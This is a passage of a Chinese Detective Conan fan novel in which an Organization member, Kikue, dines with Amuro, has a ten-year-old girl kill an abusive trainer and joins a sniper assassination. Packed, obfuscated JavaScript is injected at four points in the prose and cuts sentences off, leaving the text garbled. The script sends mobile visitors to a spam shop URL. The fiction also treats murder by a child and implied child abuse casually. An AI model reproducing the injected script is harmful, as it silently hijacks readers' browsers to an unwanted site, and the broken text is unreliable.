看来柯尔希这几天都泡在训练室的消息也是真的。 若间菊江很快地抽回手,自然而然地抚了抚裙摆,“我饿了。” 既然已经知道想知道的事了,安室透也没有再强求。 他压下一点笑意,知道若间菊江的弱点以后,看她故作姿态也很有趣。 “好的,走吧,我们去吃饭。” 28.第 28 章 安室透预订的位置在米花中央大楼的瞭望餐厅。 报上姓名后,服务员就带两人到了预留好的位置上。 “好漂亮啊。”若间菊江惊喜地感叹。 落地窗外,地面的灯光星星点点连成一片,像天上星河的倒影。东京塔被勾勒出轮廓,安静地屹立在那里,和餐厅遥相对望。 这家瞭望餐厅环境优美,以可以俯瞰东京的夜景而闻名,一向是约会的首选。 可惜良好的体验通常对应着昂贵的价格,这家餐厅的菜单就劝退了相当多的人,这也使得餐厅不会因为人数过多而嘈杂喧闹。 表演者拉着悠扬的小提琴曲,桌子上摆放的玫瑰娇艳欲滴,若间菊江和安室透隔着花朵落座,接过侍应生递过来的餐单。 菜单上是安室透提前预约好的菜品,精心准备的图片旁边是每道菜详细的介绍,若间菊江翻了两页就随手合上放到一边,调侃道,“没想到透君预约的地方是这里,我之前提前了好久都没约到呢,如果今天拒绝你岂不是亏大了?” “我只是刚好运气好碰到前面有人取消预约而已。”安室透确认菜品无误后就将菜单还给了侍应生,对方鞠躬后就安静地离开了。 “欸——”若间菊江拉长声音,不知道是信了还是没信,不过她一向不喜欢在这种事情上纠结,转而观察起餐厅的环境。 小提琴手在中央的圆台上陶醉地拉着曲目,靠窗的双人桌大多是男女的组合,小声交谈的声音被小提琴盖过,很好地保护了隐私性。 “这算是约会吗?”若间菊江后知后觉地问道。 “只是弥补美国那次的遗憾罢了。”安室透微笑,看起来很放松,“所以菊江不用紧张。” 虽然被若间菊江气到的时候会恶趣味地暗戳戳增加接触,欣赏若间菊江故作镇定的可爱表演,但安室透清楚地知道急于求成只会起到反效果。 还没有摸清若间菊江如今的立场之前,安室透不会在她面前放松警惕,但和若间菊江处好关系还是十分必要的。 据他观察,若间菊江虽然在两性关系上敏感到几乎有些神经质,但在正常交往方面却显得有点迟钝,他需要严格控制交往的程度才不能引起反感。 “下次就轮到你了。”安室透没有忘记上次去酒吧的时候若间菊江坚持轮流请客的事情,还提醒道,“更何况菊江还欠我500美金没还呢。” 提起这件事,若间菊江扁了扁嘴,她差点忘了她还欠有外债,“一会儿转给你好了。” 安室透摇头,拒绝道,“我们之间就不用计较这么多了,下次请回来就好了。” 不计较这么多你还提! 若间菊江不满地瘪嘴,倒也没拒绝,目前组织给的薪资已经不会让她再为金钱而发愁了,安室透这么说也只不过是再为下次约饭提前找好借口,但欠别人的感觉还是很差。 “说起来,也不知道安娜在组织里待的怎么样。”若间菊江在玩了好几天后,终于又想起自己还有一层监护人的身份。 “负责培训的组织成员联系到我了,说是出了一点情况,需要你有空的时候去基地一趟。”这就是安室透今天晚上约若间菊江出来见面的第二个原因了,“那边说打你的电话打不通。” “真是可靠啊,波本。”若间菊江拿起侍应生刚刚送过来的红酒,抿了一口,装作没听懂安室透语气里的控诉。 她好像是接到几个陌生的电话来着,但是第一次她正在补觉,挂断后翻了个身继续睡了,第二次她在特训狙击,看到的时候已经过去好几个小时了,第三次的时候她正在大楼顶上趴着瞄准对面的日向财二,这么关键的时候怎么能被电话打断! 所以她就心安理得地按断了来电,反正对方如果真的有什么急事的话还会再打过来的,没想到他们直接联系到安室透那里去了。 “为什么刚开学几天就要请家长啊。”若间菊江不解,明明她觉得安娜还挺听话的? “组织这种地方,小孩子刚来多少会不适应吧。”安室透想了想,推测道。 “我给了她其他选择,但是她还是拿了我的500美金加入了组织。”若间菊江耸耸肩,“不过这里也没什么不好,在美国小孩子拿一把枪会变成目标,在日本小孩子拿一把枪最起码还能保护自己。” 安室透垂下眼睛,敛起眼底的神色。 至少他现在的奋斗,就是为了营造出一个小孩子不用拿起手枪的世界。 “既然这样,我明天就去看看安娜小朋友吧,”若间菊江思考了一下,还是决定跑一趟,不是因为有多关心,而是觉得新奇,才10岁的小孩子能干出什么事情让组织成员都解决不了的。 “需要帮忙吗?”安室透问,如果他没记错,若间菊江的上一辆车还停留在20亿日元的传闻中,看样子她的新车还没落地。 “不用啦,”若间菊江摆摆手,“我的车明天上午就可以去车店提了,这还要多亏了透君你呢。” 安室透:? 他偏偏头,有点疑惑地看着若间菊江。 “因为你的车啊,”若间菊江解释道,“原本还在纠结买什么样子的车好,上次体验了一下还是决定买跑车了,坐起来就很爽啊,感觉也很适合摆脱警察。” 简单来说,就是跑车跑得很快适合逃跑。 本来她想直接订购安室透同款的马自达RX-7好了,总归不会出大问题,但在店里逛的时候她注意到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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刚刚那瓶红酒大半都进了她的肚子,安室透不知是因为喝的少还是皮肤黑看不出来,面色和平时完全没有区别。 察觉到若间菊江的视线,安室透扭头回看,“菊江?还好吗?” 他的本意并不是灌醉若间菊江,结果他一个不注意就被若间菊江掌握了倒酒大权,等他发现的时候那瓶红酒已经只剩一个底了。 若间菊江满不在意,“这点酒不算什么。”她的酒量可是深不见底。 “是吗?”安室透不置可否。 若间菊江缓缓挑起眉毛,显然对安室透敷衍的态度很不满意,她正要拉对方去居酒屋比拼一番,就感受到了包里手机的震动。 若间菊江暂且先放过了安室透,打开手机,看到发件人的时候两眼一黑。 如果说有什么比工作邮件更可怕的,那就是上司在休息日的晚上突然给你发的工作邮件。 29.第 29 章 点开琴酒发来的邮件,若间菊江本来就垮下来的脸色更不好看了。 她抬头盯着安室透了几秒钟,然后又低下头对着手机思考,最后长叹一口气。 安室透被她这一套动作弄得摸不着头脑,不动声色地问道:“怎么了?” 若间菊江举起手机给安室透看,委屈道,“刚刚从美国出差回来,琴酒又让我上班,明明他自己还没回到日本呢!” 安室透看向若间菊江的手机,Gin发来一封邮件,上面写着:“明晚七点,杯户町2街十字路口,带上你的枪。” 应该不会有组织成员出任务连手枪都不带吧,那琴酒所说的枪指的是什么就很明确了。 结合若间菊江刚刚幽幽的眼神,安室透马上就明白了她在想什么,举起双手自证清白,“不是我汇报给组织的。” 若间菊江在这之前都没有展露过狙击的技能,今天刚刚用过,组织下一秒就知道了,不管怎么看安室透的嫌疑都很大。 “我又没说什么,”若间菊江小声嘟囔,“算了,反正我也没打算瞒着。” 就连训练都是在组织的地盘,他们不知道才怪呢。 “组织现在到底是多缺人啊,连我这个半吊子都拉来凑数了。”若间菊江一边在嘴里嘀嘀咕咕地吐槽,一边回复琴酒,“收到!” 嘴上不管怎么说,行动上还是很诚实的嘛,这副窝窝囊囊的样子让站在一边的安室透忍俊不禁。 “干嘛!你没有收到任务吗?”若间菊江很凶地朝安室透呲牙。 “真是遗憾,并没有。可能因为我只是个情报成员吧,这次任务没有我的机会。”安室透双手摊开,很遗憾地说。 有什么比加班还要痛苦? 那就是自己加班而同事不需要,还在那里装模做样。 若间菊江磨了磨牙,突然觉得安室透面目可憎起来。 “不如我跟琴酒说让你一起来?我猜他不会嫌弃多一个人的。” “还是不用了,”安室透拒绝,一本正经地说,“不知道谁跟琴酒说在组织里拼命工作的人很有可能是卧底的,我可不想因为太努力被怀疑。” 若间菊江:…… 是她说的。 安室透是故意的吗? “哼,不逛了。”若间菊江撇过头,转身朝停车场走去,“送我回去!” “收到~”安室透说道,声音里还带着没掩饰住的笑意。 “波本!” *** 这个时间的东京并不堵车,目送若间菊江走进酒店,安室透的表情瞬间严肃下来。 他早就知道组织会用各种渠道监视成员的一举一动,但这次组织表现出来的掌控力还是让人心惊。 是若间菊江太不小心还是组织过于关注? 安室透沉了脸色,以后他还要更加谨慎行事才行。 “叮铃铃~” 手机传来邮件的提示音,安室透点开一看,是来自诸伏景光的。 “Zero,明天晚上组织给我安排了任务,见面推迟吧。” 安室透看着邮件,突然有种不好的预感,这个差不多的时间,该不会…… 没过两秒,诸伏景光的下一封邮件就发过来了,“哦对了,听说这次任务还有莱伊和柯尔希。” 安室透头疼起来,Hiro的能力他是承认的,但事情一旦牵扯上若间菊江,他就难以放心,更何况这次的任务还有他一贯看不顺眼的莱伊,结果还不知道会是什么样。 他后悔了,他现在答应若间菊江刚刚的提议还来得及吗? *** 第二天,若间菊江将自己的行程安排得满满当当,睡醒了也没有赖床,在酒店吃过早餐就出门了,所以到达提车的地方时,时间还早。 若间菊江满意地绕着她的保时捷911转了两圈,深绿色的车身低调又优雅,就连引擎的声音都让人觉得悦耳。 店员热情周到地将钥匙递送给若间菊江,“所有的手续都已经办齐了,后续有什么问题您可以再跟和我们联系。” 若间菊江点头,眼睛眨都不眨地刷了卡。 这时候又要感恩组织的经费给得十分大方了,这样一想就连晚上加班都没什么怨言了呢,毕竟现在多的是既要加班又不给钱的公司,若间菊江觉得自己又开心了。 一路上卡着超速的边缘,若间菊江感受着推背感,风扬起长发,嘴里哼着歌,即使是被喊家长也没有破坏她此刻的好心情。 在见到安娜之前,若间菊江都是这么想的。 小小的身形孤零零地站在那里,身上都是青青紫紫的痕迹,一看就没少打架,或者说,挨打。 看起来比她刚从美国离开的时候还要凄惨一点。 “所以你喊我来的目的是?”若间菊江把墨镜推上去,抱着手臂询问负责的组织成员。 安娜看到若间菊江的时候眼睛一亮,但看见她对面的男人明显畏缩了一下,踌躇在原地不敢靠近。 若间菊江挑眉,收回了视线,看向她面前正在滔滔不绝的男人。 “我的任务是从世界各地搜罗有天赋的孩子,给他们培训并向组织输出优秀的人才。”男人的表情有些自得,似乎很为自己的工作内容骄傲,“我见过很多很有能力的孩子,安娜在里面并不是最优秀的,而且她还有一个致命的缺点——” 若间菊江听到这里面色一凛,心想重点要来了。 “不服管教,一意孤行。” 若间菊江:…… 就这? 若间菊江忍不住开口道,“组织难道要培训的是集体主义吗?” 男人咧开嘴角,似乎意有所指,“柯尔希,如果一个人从最开始就学不会服从上级的命令,那怎么指望她对组织忠心耿耿呢?” 若间菊江的面色沉下来,嘴上听起来很配合,“你想怎么样?” “接下类我要用特殊的手段教导她,教她怎么才能更好地为组织服务。”男人没有注意到若间菊江向下的嘴角,越说越兴奋,眼神逐渐迷离,为自己想象出的未来激动不已。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16841425|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看他的状态就知道,他口中的“教导”绝对不只打骂这么简单。 在安娜来这里之前,男人就收到了上级的消息,让他好好关照一下这个小女孩,而在见到安娜的第一面起,他就知道他的好日子要来了。 金发绿眼的小女孩是他最喜欢的类型,每次看到安娜他都几乎要控制不住自己心底那股强烈的施虐欲,但是不行,他反复提醒自己,上级每次跟他提起安娜都饶不开一个名字——柯尔希。 他听说过这个名字,组织里的新人,能力突出手段不俗,是他惹不起的人。 但是时间一长,他发现柯尔希根本不关注安娜的事情,连打听消息都没有过,原本已经快要平静下来的心又开始蠢蠢欲动,他开始引导其他的孩子霸凌安娜,欺负她,言语上羞辱她,小孩子的天性本恶,在组织这种地方,原本只有一分的恶念会被放大十倍。 一般的孩子尚且受不了这种环境,更何况安娜独自一人在异国他乡,甚至连日语都说不流利。 逐渐的,安娜反抗的力度越来越弱,男人知道,时机快要到了,只要混过柯尔希这里,获得表面监护人的同意,他的狩猎就可以开始了。 “真是恶心啊。”若间菊江突然说。 “什么?”她的声音太小了,男人没有听清,下一秒肩膀的剧痛让他瞬间从美好的想像中抽离,捂着手臂在地上嘶吼大叫。 “我说你太恶心了,简直要让我把早饭吐出来了。”若间菊江垂下拿枪的手,好脾气地又重复了一遍刚刚的话。 若间菊江的眼前闪过儿时的几个画面,黑暗中一双粗糙的手伸向了她,耳边是小女孩的尖叫声。 她闭眼定了定神,再睁眼的时候眼中只剩嘲讽。 “你不会以为随便说两句大话就能迷惑我吧?”若间菊江真心实意地发问。 工作中时不时就会冒出来几个又蠢又毒的同事,若间菊江已经习惯了,加入组织以后的同事顶多就是有点变态,她几乎快要忘了这种情况了。 现在她明白了,这种同事不是灭绝了,只是她接触地太少没有发现而已。 不过没关系,她已经跳槽了,现在的若间菊江有一套更加高效地处理同事的做法。 “砰!”她的第二枪打在男人另一侧的肩膀上,男人哀嚎着倒下去,双手捂着伤口,鲜血止都止不住。 “柯尔希!组织内部成员禁止互相残杀……”男人咬着牙吐出几个字。 若间菊江像是没听见一样,朝安娜招招手,“过来。” 安娜小跑着上前来,若间菊江拍拍她的脑袋,轻叹,“我还以为你已经明白了,但是现在发现还是没懂。” “没懂你到底加入了什么样的组织。” 若间菊江把手枪放到安娜的手里,“不过现在也不晚,我来教你吧。” “接下来就要靠你自己去选择了。” 若间菊江扶着安娜的手臂,让她的枪口对准了地上疼的打滚的男人,在她的耳边轻声说。 “欢迎来到黑色的世界。” 30.第 30 章 安娜拿枪的手控制不住地颤抖,她左手握住右手的手腕想要缓解,却无济于事。 这也很正常,若间菊江想,人们一般都会渴望掌握其他人的性命,但当你真的拥有这个权力的时候,比掌控欲更先一步到达的是巨大的心理压力。 想当年她第一次杀人,也是心慌得不行呢。 “深呼吸。”若间菊江的手覆到安娜的手上,帮助她稳住枪口,冰凉的触感让安娜诡异地冷静下来了。 她吐出一口气,再次看向地上跪趴着的男人时眼神变得冷静。 一直躲在那群孩子身后掌控一切的幕后黑手,此刻像一块破烂的臭虫一样跪在她面前,安娜在惶恐之外后知后觉地感到激动。 “现在选择权在你手里,让他活着,还是死?” 在地上苟延残喘的男人听到若间菊江的话情绪激动起来,“柯尔希!你这个疯女人,你不能这么做!我也是组织成员……” 安娜听到男人的话,枪口微微晃动了一下,有点犹豫。 “我当然可以这么做,就像你之前做的一样。”若间菊江把手指竖在唇边,“安静一点,看不出来吗?她现在正在面临人生的重大选择,你有没有基本的礼貌。” 男人目眦欲裂,几乎要吐出一口血,“你敢杀我,琴酒不会放过你的。” “琴酒和你有很深的同事情谊吗?”若间菊江相当惊讶,“看不出来琴酒还有这么温情的一面呢。” 这话说出口,若间菊江自己都快吐了。 “那我打个电话问问琴酒好了,看看他会不会说出阻止我的话。” 说着,若间菊江真的掏出了手机,当着男人的面拨通了琴酒的电话,短暂的铃声过后,电话那头传出来琴酒冷漠的声音,“柯尔希?你最好有事。” 男人听到琴酒的声音像是抓住了救命稻草,迫不及待地大喊,“琴酒!柯尔希要杀死我!” “好冷淡啊琴酒,你是对所有人都这么冷淡还是单单针对我一个人?”若间菊江完全不在意男人的声音有没有通过电话传到那头,兀自调侃。 “你那边很吵,别说废话。”琴酒已经开始不耐烦了。 “好吧,”若间菊江从善如流,“我发现基地这边有个男人……呃,你叫什么名字?” 男人恨恨地瞪着她,还是安娜小声提示道,“大岛神贵。” “好的,大岛神贵是卧底,所以我就替组织清理门户了。”若间菊江面不改色地说道。 “污蔑!柯尔希你竟然敢污蔑我!”大岛神贵怒吼。 若间菊江像挥苍蝇一样朝他摆了两下手,示意他别烦人,就听到琴酒说道,“随便你。”然后“啪”地一下就把电话挂掉了。 “听到了吗,琴酒说随便。”若间菊江笑嘻嘻的看着大岛神贵,然后拍了拍安娜的肩膀,“动手吧。” 大岛神贵绝望地闭上了眼睛。 *** 挂断电话后,车里恢复了安静,琴酒坐在副驾驶,良久冷哼了一声。 “大哥,发生什么事了?”伏特加一边开车,一边小心翼翼地问道。 “柯尔希又在发疯。”琴酒言简意赅地说道。 伏特加看琴酒心情不太好,便没有再发出声音,安静地开车。 大岛神贵的所作所为组织并非不知道,但从来没有想过要去管。 大岛神贵知道分寸,即使有的时候稍微过火也没有闹出人命,组织里的成员多多少少都有一些怪癖,只要不耽误正事,都是组织默许的。 况且这次组织将安娜放到大岛神贵手下也是故意的。 大岛神贵最喜欢的特征就是金发绿眼,安娜完美符合,这是一次正大光明的、对柯尔希底线的试探。 而柯尔希的出手证明她不是好拿捏的。 不过这也正合琴酒的意,柯尔希如果什么反应都没有,那就很无趣了。 至于柯尔希说的卧底,无论真假都无所谓,反正到最后大岛神贵都只会是一具尸体。 *** 安娜跟着若间菊江走出基地,大岛神贵的尸体就仍在原地。 “基地里的其他人看到了就会收拾好的。”若间菊江是这么说的。 安娜低着头看着自己的双手,上面星星点点地溅着血迹。 因为准头不够,第一枪安娜并没有打中大岛神贵,后续的几枪也仅仅打中了非要害的部位。 鲜血飞溅在她的脸上、手上和衣服上,温热的液体却让安娜感到寒意。 大岛神贵在地上哀嚎,那声音从尖利到后来的断断续续,中间只隔了不到一分钟。 曾经是他最喜欢听的声音,现在从他自己的嘴里发出来,也算是最后一次满足了他的爱好吧。 若间菊江在她的新车前停了下来,回头看了看安娜的样子,想了想还是决定爱护一下自己的新车,毕竟血迹弄到车里并不好清洗,还容易被经验丰富的洗车店老板报警。 若间菊江把她的小外套脱下来,披到安娜的肩膀上,警告道,“老实一点,不许乱动。” 安娜裹紧外套,乖巧地点头。 做到车里,若间菊江没有着急启动车子,而是掏出一根烟点燃,侧头看着安娜,“学会了吗?” 安娜还没有缓过神来,看起来呆呆愣愣的,“学会什么?” “学会这个世界的生存法则。”若间菊江就这么看着指尖的烟燃烧,烟灰散落在风里,声音轻柔到有些飘渺。 “我以为你在美国的时候已经见识到了。” “我……会给你添麻烦吗?”安娜小声问道,“组织还会惩罚你吗?” “你不是听到了?”若间菊江反问,“只要你能够给组织创造出足够的价值,即使偶尔跨过红线也不会有人多说什么。” “大岛神贵甚至不敢杀死你们,但是我却可以杀死他。”若间菊江轻描淡写地说,“这就是组织里代号成员和非代号成员的区别。” “更何况,”若间菊江语气带了点笑意,“他不是卧底吗?” 反正琴酒对卧底一贯的态度就是宁可错杀不可放过,就算最后真的有人追查出大岛神贵不是卧底,那又怎么样?人都已经死了,她只是为了组织的发展着想啊。 这个借口实在是太好用了,好用到若间菊江都忍不住怀疑琴酒传闻中杀死的那些卧底到底是确有其事,还是他在借卧底的名头排除异己。 没人怀疑琴酒的忠心,但是忠于组织和谋取私利又不冲突。 “你现在想走的话我也可以帮你。”毕竟安娜只是一个十岁的小孩子,小孩子的决策不都经过深思熟虑,同样也可以拥有反悔的机会,“我可以送你回美国,过安慰的生活。” “只要有这张脸在就不会安稳的。”安娜用手抹干净脸上的血迹,低声说。 安娜的五官因为过于精致艳丽,有超出她这个年龄段的成熟,但孩童的身体又暴露了她真实的年龄,这种反差会让暗中窥伺的变态蠢蠢欲动。 若间菊江挑眉,没有说话,她完全能够理解,因为安娜的痛苦她同样经历过。 “我想留在组织。”安娜抬起头看着若间菊江,坚定地说。 “上帝保护不了我,但是手枪可以。” “Well,不错的见解。”若间菊江没有反驳,带着安娜驶离了组织的基地。 *** “你就乖乖地待在这里,我晚上还有别的工作哦。”若间菊江把安娜带回自己长住的酒店,看着她洗漱完毕,对她说。 “你自己一个人可以吗?还是说我把波本喊来陪你?” 安娜露出了微妙的嫌弃的表情,“不要,我自己就好。” “菊酱和波本很熟悉吗?”安娜问道。 “当然了,我们是搭档啊。”若间菊江理所当然地说。 安娜抿着唇,安静了一会儿,突然说道,“以后我也要成为菊酱的搭档。” 啊,那要等到七八年以后了。 一想到还要在工作那么久若间菊江就眼前一黑,断然拒绝道,“到时候我还是更想退休。” “菊酱不喜欢组织的工作?” “是工作我都不喜欢。”若间菊江斩钉截铁地说。 “……”安娜想了想,用不太流利的日语表达说道,“我听说日本有……妻子结婚后在家的……全职太太?菊酱想要成为全职太太吗?你会和波本结婚吗?” “小孩子想得还挺多。”若间菊江吐槽道,她清了清嗓子,说道,“首先,不要玷污我和波本纯洁的同事友谊,要是传到波本耳朵里我还要不要做人啦?” “然后,”若间菊江拉开房门,“我还是选择工作。” 说完,她就迅速地关上门,逃离了房间。 真不知道这段时间安娜在组织里接受了什么教育,居然能问出这么吓人的问题,若间菊江摇头,看来组织的教育真是不能信任。 以后还是要找点靠谱的地方,若间菊江一时间也没有什么思路,算了,先去工作吧,波本今天不出任务,她的搭档会是谁呢?她很期待。 苏格兰和莱伊已经在约好的地方等候多时了。 “看来柯尔希迟到了。”莱伊靠在他的车旁,点了一支烟,冷声说道。 苏格兰看了看腕表,距离越好的时间已经过去了一分钟,他开口刚想说什么,就被远方传来的一阵马达的轰鸣声打断了。 随着声音越来越大,一辆墨绿色的保时捷飞驰而来。 若间菊江将车停在两人面前,匆匆忙忙地下了车,“抱歉抱歉,肚子有点饿就去买了关东煮,你们吃完饭了吗?要不要来一点?” 这真是兵荒马乱的一天,直到她的肚子发出咕噜咕噜的抗议声,若间菊江才想起来自己今天只吃了早饭。 若间菊江从车里拿出关东煮的纸杯,举起来示意了一下,“我的车技很好,一点也没洒,还是热乎的哦。” “我就不用了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16845806|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莱伊将烟摁灭,把头偏到一边,淡淡地说,看起来毫无兴趣。 哇哦,组织里的二号长发冷漠男,若间菊江在心里感叹。 一号当然是琴酒啦。 “我吃过晚饭了。”苏格兰朝若间菊江歉意一笑,温和地说道。 身为卧底,他不可能会吃第一次见面的柯尔希的东西,即使Zero好像对柯尔希有一些不同的看法。 安室透不说,诸伏景光也不会去追问,但是该抱有的警惕是不会放下的。 没人接受她的好意,若间菊江也不失望,反正她只是对新见面的同事客套一下,增进一下友谊,关东煮她只买够了自己吃的量。 “时间差不多了,不如我们边吃边走?柯尔希你可以坐我的车去,这样方便你在车上吃晚餐。”苏格兰提议道。 他的余光扫过一旁的保时捷,这辆车还是太高调了,出任务不利于隐藏。 这样也能和柯尔希多制造一些接触的机会,他十分好奇柯尔希倒是是什么样的人,才会让Zero一提起来就是一副欲言又止的样子。 天哪,大好人同事二号! 若间菊江感动了,她就知道组织就是这么有爱的一个公司! “那就麻烦了。”她欣然同意,先一步钻进了苏格兰的车里。 苏格兰朝莱伊点点头,打过招呼后也坐在了驾驶位上。 两辆车子一前一后朝目标开去,融进了夜晚的黑暗中。 车里,若间菊江快速地解决完晚饭,快乐的舒了口气。 和安室透一起吃的大餐是很美味,但时不时吃一点小吃也是有滋有味的嘛。 “苏格兰,我们今天的任务目标是什么啊?”满足了口腹之欲,若间菊江终于想起点正事。 苏格兰没有第一时间回答,而是挑眉惊讶道,“我想我们这应该是第一次见面,你认识我?” “毕竟我们也是差不多时间取得的代号,在组织里可以算是同期了吧。”若间菊江把被风吹乱的头发拢在脑后,“而且你还有这么明显的特征。” 猫眼,狙击手,脾气不错的男人,几个特点凑在一起,他的代号猜不出来都困难。 “我想刚刚那位应该就是莱伊了吧。”若间菊江靠在椅背上,“搞办公室恋情的那个。” “办公室恋情?”苏格兰忍俊不禁地反问。 “对啊,”若间菊江说道,“还是通过家属引进加入组织的,不过这么快就获得了代号,还挺厉害的嘛。就是看起来不像是有女朋友的类型。” “这些都是波本告诉你的?”苏格兰带着笑意说。 “一半一半吧,”若间菊江摆摆手,“毕竟这种带点软饭性质的男人都会是茶余饭后的谈资。”就算她没有主动打听,也会时不时地听到一些风言风语。 “你就不怕我回头告诉莱伊?” “你会吗?” 若间菊江转头看着苏格兰,车里的气氛瞬间凝结了几秒,又很快松懈下来,“在背后说同事的小话就是要承担被正主听见的风险,而且我觉得苏格兰你也不是那种人啦。” “再说了,我说的都是事实啊,又没有夸大。”若间菊江振振有词,顶多就是在波本说的消息上再添油加醋自己理解了一番。 苏格兰轻笑,大概明白了柯尔希的风格。 在组织里还能这么随心所欲,的确是非常大胆了。 他们的最终目的地是一处天台,天台对面就是今天晚上的目标所在的宴会。 他们三个人需要在这里商量好各自狙击的点位,分别从三个方向进行暗杀,务必保证目标死亡。 若间菊江站在天台的边缘,端起枪感受了一下距离,“看来这里就是主要点位了,苏格兰和莱伊你们谁技术更好就待在这吧,我今天晚上主要的任务就是辅助你们。” 正所谓一个和尚挑水喝,两个和尚抬水喝,三个和尚没水喝,三个狙击手里当然也会有摸鱼的那个啦。 而她,若间菊江,甘愿成为那个出风头最少的人,衬托另外两位的工作能力。 等她再找到一个隐蔽的狙击点,只要在那里守一会儿就算完成了工作,就这样神不知鬼不觉地休息,想想就很爽。 苏格兰和莱伊对若间菊江的安排都没有什么意见,他俩本身也不是特别关注这方面的人,当然也没有破坏若间菊江摸鱼大计的打算。 事情原本可以这么完美的进行下去,直到若间菊江听到身后突然传来一阵脚步声,紧接着就感受到自己脑袋又被□□抵在后面。 对面的苏格兰和莱伊都露出了惊讶的表情,若间菊江的美梦瞬间破碎,看起来今天晚上她终究是悠闲不下来了。 “你不是应该还没有回国吗,琴酒?” 都说了多少遍了,换一个威胁方式,你看看她现在,单靠脑后的触感都能辨别出琴酒了,再这么下去她简直要比死在琴酒手里的人更熟悉琴酒的枪口了! 真是太过分了! 31.第 31 章 “怎么一回来就这么激动?”若间菊江举起双手,摆出一副投降的姿态,动作上却完全不在意,转过身直面着琴酒的枪口,笑道。 琴酒完全不打算回复这种无聊的问候,朝苏格兰和莱伊歪了下脖子,说道,“你们先去另外两边,柯尔希,你就留在这里。” 若间菊江撇着嘴没出声。 她说为什么琴酒一回来火气就这么大,合着是看透了她刚刚的摸鱼发言。 要她说琴酒就是和做一个冷酷无情的杀手,一点也不适合做管理层,完全不懂得对待下属要松弛有度。 摸摸鱼怎么了,摸摸鱼怎么了?!她又不是不干活! “柯尔希?”琴酒重复了一遍。 “柯尔希,大哥跟你说话呢。”伏特加很有当小弟的自觉,上前一步说。 “知道了,知道了!在场的所有人都知道了!”若间菊江不耐烦地重复道,这和妃要求在工作群里回复“收到”的领导有什么区别。 琴酒看起来一副话不多的老实模样,没想到还拘泥于这种形式主义。 伏特加这个狗腿子更是,一天天除了开车和拍琴酒马屁就是在这狗仗人势,等哪天她手痒就把伏特加拉进小巷子里打一顿。 莱伊饶有兴趣地按着眼前的一幕,虽然一上来就是□□警告,但琴酒对柯尔希的容忍程度相当高了,至少他加入组织这么长时间,没看到过组织成员敢这么对琴酒说话的。 身为FBI的王牌探员卧底,莱伊,或者说化名为诸星大的赤井秀一,对美国那边的消息也很灵通,他早就从詹姆斯那里传来的消息得知,FBI在美国可是被狠狠地耍了一通呢,朱蒂气得连续一周都阴着脸,其他的探员把现场翻了个底朝天都没发现犯人的一丝痕迹。 在结合他打探来的前往美国执行任务的人员名单,琴酒和伏特加绝对做不出来这种事情,波本作为神秘主义者,这么大张旗鼓地行动也不是他的风格,那剩下的可疑对象只剩下柯尔希了。 从见到柯尔希的第一眼起,莱伊就敢肯定,柯尔希绝对是干得出那种事的性格,跳脱又放肆,隐隐约约的疯癫感让柯尔希的危险程度又升了一级。 伏特加被柯尔希的态度噎住,他没想到从来没翻过脸的柯尔希会突然变得这么凶。 苏格兰理了理身后的枪盒,打破了现场尴尬的气氛,“既然如此,我就先走了。” 走之前他还对柯尔希微笑道,“回去的时候我还可以捎你一程。” 若间菊江马上换了一副眼泪汪汪的表情,“苏格兰,好同事……” 苏格兰摆摆手,走下了这个天台,莱伊也紧随其后离开了,天台上只剩下柯尔希、琴酒和伏特加三个人。 “准备动手吧,柯尔希。”琴酒冷漠地命令道。 “准~备~动~手~吧~柯~尔~希~”若间菊江一边组装好狙击枪,一边低着头用口型重复了一遍琴酒的话,虽然没有出声,但从她偷偷翻的白眼就能想象出她那种阴阳怪气的语气。 “嗯?”琴酒的眼风凌厉地射过来,若间菊江一秒端正了表情,“别催别催,很快就好了。” 然后不等琴酒再次开口,就主动走向聚集点架好了枪。 “我们这次的目标是谁来着?”若间菊江带好通讯用的耳麦,枪口漫无目的地扫过宴会厅内来来往往的客人,问道。 莱伊:…… 他并不是很想回答这种白痴的问题,这和上了战场还在问敌人是谁的行径没什么两样。 还是苏格兰善解人意,“企业家山内优子,就是穿着红色长裙的那位女士,看到了吗?” 若间菊江在用瞄准镜扫视了一圈,终于在一个角落里发现了目标人物。 利落的短发配上整套的钻石首饰,让山内优子看起来十分干练,是完全的职场女性。 “哇偶,好美丽的姐姐,我真是舍不得……” “嗯?”琴酒发出一声冷冷的鼻音。 “舍不得让她体验死前的痛苦挣扎,所以还是给她一个痛快好了。”若间菊江一秒钟也没停顿地改口道。 苏格兰那边沉默了一下,再开口时还带着一丝没完全收敛的笑音,“山内优子的确是很有名的企业家,她名下的美妆品牌和经纪公司在界内却争议不断。” 哦,若间菊江想起来她为什么觉得这个名字耳熟了,她上学时想要签约她出道的经纪人好像就是山内优子名下经纪公司的。 “最让人弊病的一点是,山内优子私下里也通过自己的资源优势向大量权贵输送漂亮的女孩子。”说到这,苏格兰的声音平淡下来。 他像是自我说服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 